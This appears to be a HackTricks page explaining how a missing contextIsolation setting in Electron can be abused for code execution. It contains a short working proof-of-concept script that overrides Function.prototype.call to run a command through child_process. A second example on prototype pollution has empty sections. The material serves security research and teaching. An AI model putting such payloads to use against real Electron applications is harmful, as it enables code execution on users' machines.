Electron contextIsolation RCE via Electron internal code

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Example 1

Example from https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41

"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation:

process.on('exit', function (){
    for (let p in cachedArchives) {
        if (!hasProp.call(cachedArchives, p)) continue
        cachedArchives[p].destroy()
    }
})

electron/asar.js at 664c184fcb98bb5b4b6b569553e7f7339d3ba4c5 · electron/electronGitHub

https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- No longer exists

Then it goes here:

Where "self" is Node's process object:

The process object has a references to "require" function:

process.mainModule.require

As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code:

<script>
Function.prototype.call = function(process){
    process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>

Example 2

Get require object from prototype pollution. From https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81

Leak:

Exploit:

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

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• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.